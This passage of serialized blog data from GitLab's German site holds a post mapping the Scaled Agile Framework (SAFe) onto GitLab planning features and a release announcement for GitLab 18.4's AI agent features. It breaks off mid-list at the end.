[DevSecOps-Plattform](https://about.gitlab.com/de-de/platform/) ist.*",[807],"GitLab Germany Team","2025-05-20","So schreibst du eine User Story in Scrum",[795],"Der große User-Story-Guide für Scrum: Beispiele, Aufbau, Akzeptanzkriterien, Formulierung. Jetzt hier klicken und durchlesen!",{"slug":813,"featured":6,"template":800},"how-to-write-a-user-story-in-scrum",{"content":815,"config":827},{"title":816,"description":817,"authors":818,"heroImage":820,"date":821,"body":822,"category":672,"tags":823,"updatedDate":826},"SAFe ohne Silos in GitLab","Erfahre, wie du das Scaled Agile Framework den nativen Funktionen der DevSecOps-Plattform zuordnen kannst und welche Vorteile sich daraus ergeben.",[819],"Amanda Rueda","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","Was passiert eigentlich, wenn dein Unternehmen das Scaled Agile Framework (SAFe) einführt, um auf Unternehmensebene zu skalieren? Du hast mehrere Teams, die an komplexen Produkten arbeiten, und benötigst eine Möglichkeit, diese Arbeit zu koordinieren. Aber hier ist ein häufiges Problem: Deine Planung erfolgt in einem Tool, während deine eigentliche Entwicklungsarbeit ganz woanders stattfindet.\n\nDiese Trennung schafft überall Probleme: Entwickler(innen) springen ständig zwischen Systemen hin und her. Produktmanager(innen) haben Schwierigkeiten, sich ein genaues Bild vom Fortschritt zu machen. Und jeder verschwendet Zeit damit, Informationen manuell von einem Ort zum anderen zu kopieren. Es ist genau diese Art von fehlendem Zusammenhang, die SAFe beseitigen soll.\n\nAuch wenn deine Entwicklungsteams [GitLab](https://about.gitlab.com/de-de/) möglicherweise bereits für die Quellcodeverwaltung, CI/CD und Sicherheit verwenden, fragst du dich vielleicht, ob GitLab auch deine Planungsanforderungen innerhalb des SAFe-Frameworks unterstützen kann. Die gute Nachricht ist, dass die agilen Projektmanagementfunktionen von GitLab SAFe umfassend unterstützen. In diesem Artikel erfährst du, wie GitLab SAFe-Konzepte und -Zeremonien abbildet, und das alles innerhalb derselben DevSecOps-Plattform, die deine Softwareentwickler(innen) bereits kennen und lieben.\n\n## Was ist SAFe?\n\nSAFe oder das Scaled Agile Framework ist eine Möglichkeit, agile Prinzipien in große Unternehmen zu bringen, ohne an Geschwindigkeit, Ausrichtung oder Kundenorientierung einzubüßen. Es nimmt das iterative und flexible Teamwork-Modell kleiner Teams auf und wendet diese Prinzipien in großen Unternehmen mit mehreren Teams, Roadmaps und Stakeholdern an. Dies bringt die Organisation in Einklang, da jedes Planen und Ausführen im Einklang erfolgt. SAFe hilft Produktmanager(inne)n, die Strategie mit der Umsetzung zu verbinden, sodass du nicht nur schnell, sondern auch die richtigen Dinge lieferst, unterstützt durch klare Prioritäten und teamübergreifende Abstimmung.\n\nSAFe reduziert Silos, fördert die Zusammenarbeit und hilft Teams, sich auf Kundenergebnisse zu konzentrieren, nicht nur auf Aufgaben. Wenn es in GitLab integriert ist, passiert etwas scheinbar Magisches: Sichtbarkeit, Nachvollziehbarkeit und Lieferung befinden sich alle an einem Ort.\n\n## SAFe-Terminologie in GitLab\n\nZunächst müssen wir festlegen, wie SAFe-Konzepte GitLab zugeordnet werden:\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Top-Level-Epic |\n| Möglichkeit | Sub-Epic (Level 1) |\n| Funktion | Sub-Epic (Level 2) |\n| User Story | Issue |\n| Aufgabe | Aufgabe |\n| Team | Benutzerdefiniertes Feld/Label mit begrenztem Geltungsbereich |\n| Sprint | Iteration |\n| Programminkrement (PI) | Meilenstein |\n| Wertschöpfungskette | Top-Level-Gruppe |\n| Agile Release Train (ART) | Top-Level-Gruppe |\n\n\u003Cbr>\u003C/br>\n\nMit dieser Zuordnung als Leitfaden kannst du GitLab so einrichten, dass es deine SAFe-Implementierung widerspiegelt. Mit der Gruppenstruktur kannst du dich um deine Wertschöpfungsketten und ARTs herum organisieren, während die Workitem-Hierarchie (mit bis zu sieben Ebenen verschachtelter Epics!) dir die nötige Tiefe für komplexe Produktportfolios bietet. Unabhängig davon, ob du auf Portfolioebene (mit Top-Level-Gruppen), auf Programmebene (mit Untergruppen) oder auf Teamebene (mit Projekten) arbeitest, passt die Organisationsstruktur von GitLab perfekt zur SAFe-Hierarchie.\n\n## Unterstützung von SAFe-Zeremonien in GitLab\n\nNun zum vergnüglichen Teil – wie führst du deine SAFe-Zeremonien in GitLab durch? Gehen wir jede einzelne durch.\n\n### PI-Planen\n\nUm die teamübergreifende Abstimmung und das Abhängigkeitsmanagement zu erleichtern, die ein erfolgreiches PI-Planen ausmachen, bietet GitLab mehrere Möglichkeiten:\n\n* Verwende die [Roadmap](https://docs.gitlab.com/user/group/roadmap/)-Ansicht, um Funktionen team- und zeitübergreifend zu visualisieren.\n* Weise dem PI-[Meilenstein](https://docs.gitlab.com/user/project/milestones/) Funktionen zu.\n* Dokumentiere und visualisiere teamübergreifende [Abhängigkeiten]( https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues), sobald sie identifiziert wurden.\n\nGitLab bietet dir Flexibilität beim PI-Planen sowohl über die Epic-Boards (die so konfiguriert werden können, dass sie Teamzuweisungen anzeigen) als auch über die Roadmap-Ansicht (die Funktionen im Zeitverlauf wie ein Gantt-Diagramm anzeigt). Du kannst während deiner Planungs-Sessions zwischen diesen Ansichten wechseln, je nachdem, ob du dich auf die Zeitachse oder die Teamorganisation konzentrierst.\n\n![Roadmap-Ansicht und Epic-Board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Roadmap-Ansicht mit Gantt-Diagramm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Refinement\n\nAls Produktmanager(in) bedeutet das Durchführen effektiver Refinement-Sessions, dass du einen klaren Überblick über deinen Funktionen-Backlog hast. Du kannst deine Refinement-Session direkt in GitLab durchführen. Du musst nicht mehr während der Besprechung ein Tool aktualisieren und anschließend ein anderes Tool aktualisieren. \n\nGitLab unterstützt Refinement-Sessions mit:\n\n* [Epic-Boards](https://docs.gitlab.com/user/group/epics/epic_boards/), die Funktionen nach Status gruppieren. \n* Der Möglichkeit, Story-Punkte direkt in der [Übersicht](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic) anzuzeigen.  \n* Umfassenden [Drawer-Ansichten](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer), mit denen du mit Workitems interagieren kannst, ohne den Kontext zu verlieren.  \n* Der Möglichkeit, [untergeordnete Issues](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic) direkt aus Epics zu erstellen und zu verknüpfen.\n\n![SAFe – Bild 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Sprint-Planung\n\nWenn es darum geht, herauszufinden, was dein Team im nächsten Sprint bewältigen kann, bietet GitLab dir:\n\n* [Issue-Übersichten](https://docs.gitlab.com/user/project/issue_board/), die einen umfassenden Überblick über deinen Backlog bieten.  \n* Eine [Gesamtgewichtung](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights) von User Storys, die direkt auf den Boards angezeigt werden.\n* Die Möglichkeit, Tickets einfach zwischen Iterationen zu verschieben. \n* Eine zusammenklappbare Ansicht, die das Verschieben von Storys zwischen Sprints vereinfacht.\n\nDas bedeutet, dass du alles an einem Ort aufbewahren und deine Planungsbesprechungen tatsächlich mit dem Planen verbringen kannst, anstatt zwischen den Tools zu wechseln.\n\n![Sprint-Planung mit GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 In [diesem Tutorial zur Verwendung von GitLab für Scrum](https://docs.gitlab.com/tutorials/scrum_events/) erhältst du einen detaillierten Einblick in die Möglichkeiten von GitLab für Agile Planning und Sprint-Verfolgung.* \n\n### Tägliche Stand-up-Meetings\n\nDein Team kann sich während der täglichen Stand-up-Meetings um das Board versammeln und sehen, woran alle arbeiten, wo es Probleme gibt und was zur Überprüfung bereit ist – alles in einer einzigen Ansicht. Für die täglichen Stand-up-Meetings deines Entwicklungsteams bietet GitLab dir folgende Möglichkeiten:\n\n* Erstellen von [iterationsbezogenen](https://docs.gitlab.com/user/project/issue_board/#iteration-lists) Boards, die die Arbeit des aktuellen Sprints anzeigen.  \n* Die Anzeige von Story-Punkten/Gewichtungen direkt auf Karten. \n* Die Verwendung der [Drawer-Ansicht](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer), um auf Details zuzugreifen, ohne den Kontext zu verlassen.  \n* Die Hervorhebung gefährdeter Aufgaben durch den [Integritätsstatus](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)\n\n![Board für tägliche Stand-up-Meetings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Sprint-Review\n\nMöchtest du wissen, wie sich dein Team im Laufe der Zeit entwickelt? GitLab bietet umfassende Metriken mit:\n\n* [Abarbeitungs- und Burnup-Diagrammen](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts) für Iterationen  \n* Geschwindigkeitsverfolgung  \n* [Lead- und Zykluszeit](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics)-Metriken  \n* Dashboards, die auf Teams ausgerichtet werden können\n\nDiese Metriken helfen dir zu verstehen, ob dein Team schneller wird, wo es stecken bleibt und worüber du vielleicht in deiner nächsten Retrospektive sprechen möchtest.\n\n![Abarbeitungs- und Burnup-Diagramme](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 Gründe, warum eine einheitliche Plattform einen Vorteil bietet\n\nEs gibt viele Planungstools, die SAFe-Zeremonien handhaben können. Aber es gibt sehr gute Gründe, die für GitLab sprechen:\n\n1. **Kein Kontextwechsel mehr**: Planung, Programmierung, Testen und Sicherheit finden alle an einem Ort statt.  \n2. **Alles ist miteinander verbunden**: Du kannst die Arbeit vom großen Epic bis hinunter zum Code und zur Bereitstellung verfolgen.  \n3. **Alle sind auf dem gleichen Stand**: Entwickler(innen), Produktverantwortliche und Sicherheitsteams arbeiten alle mit demselben Tool zusammen.  \n4. **Vollständige Transparenz**: Stakeholder haben einen zentralen Ort, an dem sie nach Updates suchen können.  \n5. **Das Gesamtbild**: Du siehst Planungs- und Entwicklungsmetriken zusammen, damit du weißt, was wirklich vor sich geht.\n\nWenn deine Entwicklungsteams GitLab bereits schätzen, warum sollten sie dann für das Planen zu einem anderen Tool wechseln oder komplexe, zusammengeschusterte Integrationen erstellen? Wenn du deine SAFe-Planung in GitLab integrierst, wird die Arbeit für alle Beteiligten erheblich vereinfacht.\n\n## Implementierungsgrundsätze\n\nIch habe mit Teams zusammengearbeitet, die von traditionellen SAFe-Tools zu GitLab wechselten. Dabei habe ich Folgendes gelernt: Konzentriere dich auf **das, was jede Zeremonie zu erreichen versucht**, und nicht auf die exakte Nachbildung deiner alten Tools.\n\nDie Teams, die GitLab optimal nutzen, sind diejenigen, die die nativen Funktionen nutzen, anstatt dagegen anzukämpfen. Ja, es erfordert einige Vorarbeit, um herauszufinden, wie du deine SAFe-Konzepte abbilden und deine Workflows einrichten kannst. Aber wenn das einmal erledigt ist, wirst du feststellen, dass deine Prozesse tatsächlich einfacher und nicht komplexer werden.\n\nDer Schlüssel liegt in der Definition von Konventionen, die jeder befolgt. Welche Labels stehen für was? Wie wirst du Teams verfolgen? Was gehört in ein Epic und was in ein Ticket? Mit ein wenig Vorarbeit bei diesen Entscheidungen erhältst du ein intuitives System, das den gesamten Koordinationsaufwand zwischen verschiedenen Tools eliminiert.\n\n## Erste Schritte\n\nBereit, es auszuprobieren? So beginnst du mit der Implementierung von SAFe in GitLab:\n\n1. **Richte deine Struktur ein**: Erstelle Gruppen und Untergruppen, die [deiner Organisation entsprechen](https://about.gitlab.com/de-de/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).  \n2. **Definiere deine Aufgabenverteilung**: Entscheide, wie du [Epics](https://about.gitlab.com/de-de/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), [Tickets](https://docs.gitlab.com/user/project/issues/managing_issues/) und [Aufgaben](https://docs.gitlab.com/user/tasks/) verwenden möchtest.  \n3. **Erstelle deine Iterationen**: Richte deinen [Sprint-Zeitplan](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence) ein.  \n4. **Füge deine Meilensteine hinzu**: [Meilensteine](https://docs.gitlab.com/user/project/milestones/#create-a-milestone) stellen deine Programmschritte in GitLab dar.  \n5. **Erstelle deine Boards**: Erstelle verschiedene Ansichten für verschiedene Zeremonien.  \n6. **Konventionen vereinbaren**: Dokumentiere, wie du Labels und benutzerdefinierte Felder verwendest.\n\nWenn du dir im Voraus die Zeit nimmst, diese Entscheidungen zu überdenken, ersparst du dir später viele Kopfschmerzen. Und denke daran, dass du es nicht am ersten Tag perfekt machen musst – du kannst jederzeit Anpassungen vornehmen, während du dazulernst.\n\n## Alles zusammenbringen\n\nGitLab bietet dir eine solide Grundlage für die Ausführung von SAFe, insbesondere wenn deine Entwicklungsteams bereits von GitLab begeistert sind. Wenn du Planung und Entwicklung in einem einzigen Tool vereinst, eliminierst du lästige Übergaben, erleichterst die Zusammenarbeit und beschleunigst den gesamten Prozess.\n\nDas Schöne an den Planungstools von GitLab ist, dass sie flexibel genug sind, um sich an deine spezifischen SAFe-Anforderungen anzupassen. Du bist nicht an starre Arbeitsabläufe gebunden, sondern kannst deinen Ansatz weiterentwickeln, wenn deine Teams erfahrener werden und sich deine Bedürfnisse ändern.\n\n> Bist du bereit zu erkennen, wie viel besser das Leben ohne diese Planungsinseln ist? [Starte noch heute deine kostenlose Testversion](https://about.gitlab.com/de-de/free-trial/) und erfahre aus erster Hand, wie GitLab deine SAFe-Implementierung verändern kann.\n\n* 💡 Wenn dir dieser Beitrag gefallen hat, lies auch den folgenden Beitrag dazu: [GitLab für die Agile-Softwareentwicklung](https://about.gitlab.com/de-de/blog/gitlab-for-agile-software-development/)*\n",[795,796,824,764,825],"features","tutorial","2025-05-12",{"slug":828,"featured":91,"template":800},"safe-without-silos-in-gitlab",{"category":679,"slug":683,"posts":830},[831,844,856],{"content":832,"config":842},{"title":833,"description":834,"authors":835,"heroImage":837,"date":838,"body":839,"category":683,"tags":840},"GitLab 18.4: KI-native Entwicklung, voll automatisiert und transparent","Mit GitLab 18.4 erstellst du eigene Agents, nutzt Knowledge Graph-Kontext und reparierst Pipelines automatisch – damit Entwickler(innen) immer im Flow bleiben!",[836],"Bill Staples","https://res.cloudinary.com/about-gitlab-com/image/upload/v1758541195/kig7sww6jyvxzmkmimbv.png","2025-09-23","Als Entwickler(in) weißt du: Moderne Entwicklung bedeutet mehr als nur Code schreiben – es geht um das Management von Änderungen über den gesamten Software-Entwicklungszyklus hinweg.\n\nMit [GitLab 18.3](https://about.gitlab.com/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/) haben wir das Fundament für echte Mensch-KI-Zusammenarbeit gelegt. Wir integrierten führende KI-Tools wie Claude Code, Codex CLI, Amazon Q CLI und Gemini CLI nativ in GitLab, lieferten unsere erste Vorschau des GitLab Model Context Protocol ([MCP](https://about.gitlab.com/topics/ai/model-context-protocol/))-Servers in Partnerschaft mit Cursor und veröffentlichten zwei neue Flows – Issue to MR und Convert CI File for Jenkins Flows – um Teams bei alltäglichen Herausforderungen zu unterstützen.\n\nMit [GitLab 18.4](https://about.gitlab.com/releases/2025/09/18/gitlab-18-4-released/) erweitern wir deine Möglichkeiten, eigene Agents zu erstellen und zu teilen, effektiver durch Agentic Chat zusammenzuarbeiten, Codebasen mit dem Knowledge Graph zu navigieren und Pipelines mit dem Fix Failed Pipelines Flow grün zu halten – während wir gleichzeitig mehr Sicherheit und Governance für deine KI-Nutzung bieten.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1120293274?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.4 Release video placeholder\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> Hast du Fragen zu den neuesten Features in GitLab 18.4? [Sei bei The Developer Show dabei](https://www.linkedin.com/events/q-a-code-exploringgitlab18-4and7373772262312906753/theater/) – live auf LinkedIn am 23. September um 10:00 Uhr PT (19:00 Uhr in Europa) oder kurz danach auf Abruf!\n\n## Gestalte deine Experience\n\n*Starte deinen Tag mit dem AI Catalog – einer Bibliothek spezialisierter Agents, die Prioritäten aufzeigen, Routinearbeit automatisieren und dich auf das Wesentliche fokussiert halten.*\n\n### AI Catalog als deine Bibliothek spezialisierter Agents\n\nMit GitLab 18.4 führen wir den GitLab Duo AI Catalog ein – eine zentrale Bibliothek, in der Teams maßgeschneiderte Agents erstellen, teilen und unternehmensweit nutzen können. Jedes Team hat seine eigene Arbeitsweise. Ein Custom Agent zu erstellen ist daher wie das Einarbeiten eines neuen Kollegen in die „richtige\" Arbeitsweise deiner Organisation.\n\nZum Beispiel kann ein Custom Product Planning Agent Bugs im spezifischen Format mit deinen Labeling-Standards erfassen, ein Technical Writer Agent kann prägnante Dokumentation nach deinen Konventionen verfassen, oder ein Security Agent stellt sicher, dass deine Sicherheits- und Compliance-Standards bei jedem MR eingehalten werden. Statt als isolierte Tools zu funktionieren, werden diese Agents Teil des natürlichen Arbeitsflusses in GitLab – sie beschleunigen Aufgaben ohne etablierte Prozesse zu stören.\n\n**Hinweis:** Diese Funktion ist derzeit nur auf GitLab.com verfügbar. Für Self-Managed-Kunden planen wir die Bereitstellung nächsten Monat mit Release 18.5.\n\n## Bleib im Flow\n\n*GitLab Duo Agentic Chat macht die Zusammenarbeit mit Agents nahtlos.*\n\n### Smarterer Agentic Chat für optimierte Zusammenarbeit mit Agents\n\nAls Herzstück der GitLab Duo Agent Platform bietet dir [Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/) eine nahtlose Möglichkeit, mit KI-Agents zusammenzuarbeiten. Das neueste Update des Agentic Chat mit GitLab 18.4 verbessert das Chat-Erlebnis und erweitert die Verwaltung und Darstellung von Sessions.\n\n* **Chat mit Custom Agents**\n\n  Starten wir mit deinem neu erstellten Custom Agent. Einmal designt, kannst du diesen Agent sofort über Agentic Chat einsetzen. Du könntest deinen neuen Agent beispielsweise fragen: „Zeig mir meine Aufgaben für heute\", um mit deinen Prioritäten zu starten. Zusätzlich hast du jetzt die Möglichkeit, neue Unterhaltungen mit neuen Agents zu beginnen und vorherige Unterhaltungen fortzusetzen, ohne den Kontext zu verlieren.\n* **[Modellauswahl für Nutzer](https://docs.gitlab.com/user/gitlab_duo/model_selection/#select-a-model-to-use-in-gitlab-duo-agentic-chat)**\n\n  Mit früheren Releases konntest du Modelle auf Namespace-Ebene auswählen, aber mit 18.4 kannst du nun Modelle auf Nutzerebene für eine bestimmte Chat-Session wählen. Das ermächtigt dich, zu entscheiden, welches LLM für die jeweilige Aufgabe geeignet ist, oder mit verschiedenen LLMs zu experimentieren, um zu sehen, welches die beste Antwort für deine Aufgabe liefert.\n* **Verbesserte Formatierung und visuelles Design**\n\n  Wir hoffen, du liebst das neue visuelle Design für GitLab Duo Agentic Chat, einschließlich verbesserter Handhabung von Tool-Call-Genehmigungen für ein angenehmeres Erlebnis.\n* **Agent Sessions verfügbar über Agentic Chat**\n\n  Sessions werden zu einem zentralen Bestandteil des Agentic Chat-Erlebnisses. Jeder Agent-Run oder Flow erscheint nun in der Sessions-Übersicht, die über Agentic Chat verfügbar ist. In jeder Session siehst du detaillierte Informationen wie Job-Logs, Nutzerinformationen und Tool-Metadaten – das bietet wichtige Transparenz darüber, wie Agents in deinem Auftrag arbeiten.\n\n  **Hinweis:** Sessions in Agentic Chat ist nur auf GitLab.com verfügbar. Diese Verbesserung ist für Self-Managed-Kunden nächsten Monat im 18.5-Update geplant.\n\n## Erschließe deine Codebase\n\n*Bei Agents ist Kontext entscheidend. Mit Knowledge Graph gibst du deinen Agents mehr Kontext, damit sie schneller analysieren und dir bessere Ergebnisse liefern können.*\n\n### Verbesserter Knowledge Graph für schnellere Code-Indexierung\n\nDer [GitLab Knowledge Graph](https://gitlab-org.gitlab.io/rust/knowledge-graph/) in 18.4 transformiert, wie Entwickler und Agents komplexe Codebasen verstehen und navigieren. Der Knowledge Graph bietet eine vernetzte Karte deines gesamten Projekts und verknüpft Dateien, Routen und Referenzen über den Software-Entwicklungszyklus hinweg. Durch Tools wie Go-to-Definition, Codebase-Suche und Referenz-Tracking über In-Chat-Queries erhalten Entwickler die Möglichkeit, präzise Fragen zu stellen wie „Zeig mir alle Route-Dateien\" oder „Was ist noch von dieser Änderung betroffen?\"\n\nDieser tiefere Kontext hilft Teams, schneller und mit mehr Vertrauen zu arbeiten – egal ob es um das Onboarding neuer Mitwirkender geht, tiefgehende Recherche in einem Projekt oder die Untersuchung, wie eine Änderung abhängigen Code beeinflusst. Je mehr von deinem Ökosystem in GitLab lebt, desto mächtiger wird der Knowledge Graph und gibt sowohl Menschen als auch KI-Agents das Fundament, mit Genauigkeit, Geschwindigkeit und vollem Projektbewusstsein zu bauen. In zukünftigen Releases werden wir alle deine GitLab-Daten in den Knowledge Graph einbinden, einschließlich Plans, MRs, Sicherheitslücken und mehr.\n\n## Automatisiere deine Pipeline-Wartung\n\n*Behebe Pipeline-Fehler schneller und bleib im Flow mit dem Fix Failed Pipelines Flow.*\n\n### Fix Failed Pipelines Flow mit Business-Bewusstsein\n\nPipelines grün zu halten ist entscheidend für deine Entwicklungsgeschwindigkeit, aber traditionelle Ansätze konzentrieren sich nur auf technische Fehlersuche ohne Berücksichtigung der geschäftlichen Auswirkungen. Der **Fix Failed Pipelines Flow** adressiert diese Herausforderung, indem er technische Analyse mit strategischem Kontext kombiniert. Er kann beispielsweise automatisch priorisieren, eine fehlgeschlagene Deployment-Pipeline für einen kundenorientierten Service vor einem nächtlichen Test-Job zu reparieren oder Build-Probleme in einem hochpriorisierten Release-Branch anders zu kennzeichnen als in experimentellen Feature-Branches.\n\n* **Business-bewusste Fehlererkennung** überwacht Pipeline-Ausführungen und versteht dabei die Bedeutung verschiedener Workflows und Deployment-Ziele.\n* **Kontextuelle Ursachenanalyse** analysiert Fehlerprotokolle zusammen mit Geschäftsanforderungen, kürzlichen Änderungen und projektübergreifenden Abhängigkeiten, um die zugrunde liegenden Ursachen zu identifizieren.\n* **Strategische Fix-Priorisierung** generiert geeignete Fixes unter Berücksichtigung von geschäftlichen Auswirkungen, Deadlines und Prioritäten bei der Ressourcenzuweisung.\n* **Workflow-integrierte Lösung** erstellt automatisch Merge Requests mit Fixes, die ordnungsgemäße Review-Prozesse beibehalten und gleichzeitig geschäftlichen Kontext für Priorisierungsentscheidungen liefern.\n\nDieser Flow hält Pipelines grün und wahrt dabei die strategische Ausrichtung, sodass automatisierte Fixes Geschäftsziele unterstützen, anstatt nur technische Probleme isoliert zu lösen.\n\n## Personalisiere deine KI-Umgebung\n\n*Automatisierung funktioniert nur, wenn du den Modellen dahinter vertraust. Deshalb liefert 18.4 Governance-Features wie Modellauswahl und GitLab-verwaltete Schlüssel.*\n\n### GitLab Duo Modellauswahl zur Optimierung der Feature-Performance\n\nDie [Modellauswahl](https://docs.gitlab.com/user/gitlab_duo/model_selection/) ist jetzt allgemein verfügbar und gibt dir direkte Kontrolle darüber, welche Large Language Models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) GitLab Duo antreiben. Du und dein Team könnt die Modelle eurer Wahl auswählen, sie unternehmensweit anwenden oder pro Feature anpassen. Du kannst Standards setzen, um Konsistenz über Namespaces und Tools hinweg zu gewährleisten, mit Governance-, Compliance- und Sicherheitsanforderungen im Blick.\n\nFür Kunden, die GitLab Duo Self-Hosted nutzen, bietet die neu hinzugefügte Unterstützung für GPT OSS und GPT-5 zusätzliche Flexibilität für KI-gestützte Entwicklungs-Workflows.\n\n**Hinweis:** Die Modellauswahl ist für GitLab.com-Kunden nicht verfügbar, und GPT-Modelle werden auf GitLab.com nicht unterstützt.\n\n## Schütze deinen sensiblen Kontext\n\n*Neben Governance kommt Datenschutz, der dir feingranulare Kontrolle darüber gibt, was KI sehen kann und was nicht.*\n\n### GitLab Duo Context Exclusion für granularen Datenschutz\n\nEs ist keine Überraschung – du brauchst granulare Kontrolle darüber, auf welche Informationen KI-Agents zugreifen können. **GitLab Duo Context Exclusion** in 18.4 bietet Einstellungen auf Projektebene, mit denen Teams bestimmte Dateien oder Dateipfade vom KI-Zugriff ausschließen können. Zu den Funktionen gehören:\n\n* **Datei-spezifische Ausschlüsse** zum Schutz sensibler Dateien wie Passwort-Konfigurationen, Secrets und proprietäre Algorithmen.\n* **Pfad-basierte Regeln** zur Erstellung von Ausschlussmustern basierend auf Verzeichnisstrukturen oder Dateinamenskonventionen.\n* **Flexible Konfiguration** zur Anwendung von Ausschlüssen auf Projektebene bei gleichzeitiger Aufrechterhaltung der Entwicklungs-Workflow-Effizienz.\n* **Audit-Sichtbarkeit** zur Verfolgung, welche Inhalte ausgeschlossen sind, um die Einhaltung von Daten-Governance-Richtlinien zu unterstützen.\n\nGitLab Duo Context Exclusion hilft dir, sensible Daten zu schützen, während du die Entwicklung mit agentischer KI beschleunigst.\n\n## Erweitere deine KI-Fähigkeiten mit neuen MCP-Tools\n\n*Erweiterte MCP-Tools erweitern diese Fähigkeiten noch weiter und verbinden deine GitLab-Umgebung mit einem breiteren Ökosystem intelligenter Agents.*\n\n### Neue Tools für GitLab MCP Server\n\nAufbauend auf dem in [18.3](https://about.gitlab.com/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/) eingeführten initialen MCP-Server fügt GitLab 18.4 weitere MCP-Tools hinzu – Funktionen, die definieren, wie MCP-Clients mit GitLab interagieren. Diese neuen Tools erweitern die Integrationsmöglichkeiten und ermöglichen sowohl First-Party- als auch Third-Party-KI-Agents, komplexere Aufgaben zu übernehmen, wie den Zugriff auf Projektdaten, die Durchführung von Code-Operationen oder die Suche über Repositories hinweg – alles unter Beachtung bestehender Sicherheits- und Berechtigungsmodelle. Eine vollständige Liste der MCP-Tools, einschließlich der neuen Ergänzungen in 18.4, findest du in unserer [MCP-Server-Dokumentation](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/).\n\n## Erlebe die Zukunft der intelligenten Software-Entwicklung\n\nMit der [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) können Ingenieure von der Arbeit an einzelnen Issues in sequenzieller Weise zu Multi-Thread-Zusammenarbeit mit asynchronen Agents übergehen, die wie Teamkollegen agieren, um Arbeit schneller zu erledigen. Wir bringen diese einzigartige Vision mit den Präferenzen unserer Kunden für Unabhängigkeit und Wahlfreiheit auf den Markt: Betreibe sie in deinen bevorzugten Cloud-Umgebungen mit den LLMs und KI-Tools, die für dich am besten funktionieren, innerhalb der von dir festgelegten Sicherheits- und Compliance-Leitplanken.\n\nAls integraler Bestandteil dieser Innovation ist GitLab 18.4 mehr als ein Software-Upgrade – es geht darum, das tägliche Erlebnis von Entwicklern reibungsloser, smarter und sicherer zu gestalten. Von wiederverwendbaren Agents bis zu business-bewussten Pipeline-Fixes ist jedes Feature darauf ausgelegt, Teams im Flow zu halten und gleichzeitig Geschwindigkeit, Sicherheit und Kontrolle auszubalancieren. Für einen tieferen Einblick, wie diese Funktionen in der Praxis zusammenkommen, schau dir unser Walkthrough-Video an.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1120288083?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"A day in the life with GitLab Duo Agent Platform\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nGitLab Premium- und Ultimate-Nutzer können diese Funktionen heute auf [GitLab.com](https://GitLab.com) und in Self-Managed-Umgebungen nutzen, mit Verfügbarkeit für [GitLab Dedicated](https://about.gitlab.com/dedicated/)-Kunden nächsten Monat.\n\n> **Aktiviere Beta- und experimentelle Features in GitLab Duo Agent Platform heute** und erlebe, wie Full-Context-KI die Art und Weise transformieren kann, wie deine Teams Software bauen. Neu bei GitLab? [Starte deine kostenlose Testversion](https://about.gitlab.com/free-trial/devsecops/) und entdecke, warum die Zukunft der Entwicklung KI-gestützt, sicher und durch die weltweit umfassendste DevSecOps-Plattform orchestriert ist.\n\n## Bleib auf dem neuesten Stand mit GitLab\n\nUm sicherzustellen, dass du die neuesten Features, Sicherheitsupdates und Performance-Verbesserungen erhältst, empfehlen wir, deine GitLab-Instanz aktuell zu halten. Die folgenden Ressourcen können dir bei der Planung und Durchführung deines Upgrades helfen:\n\n* [Upgrade Path 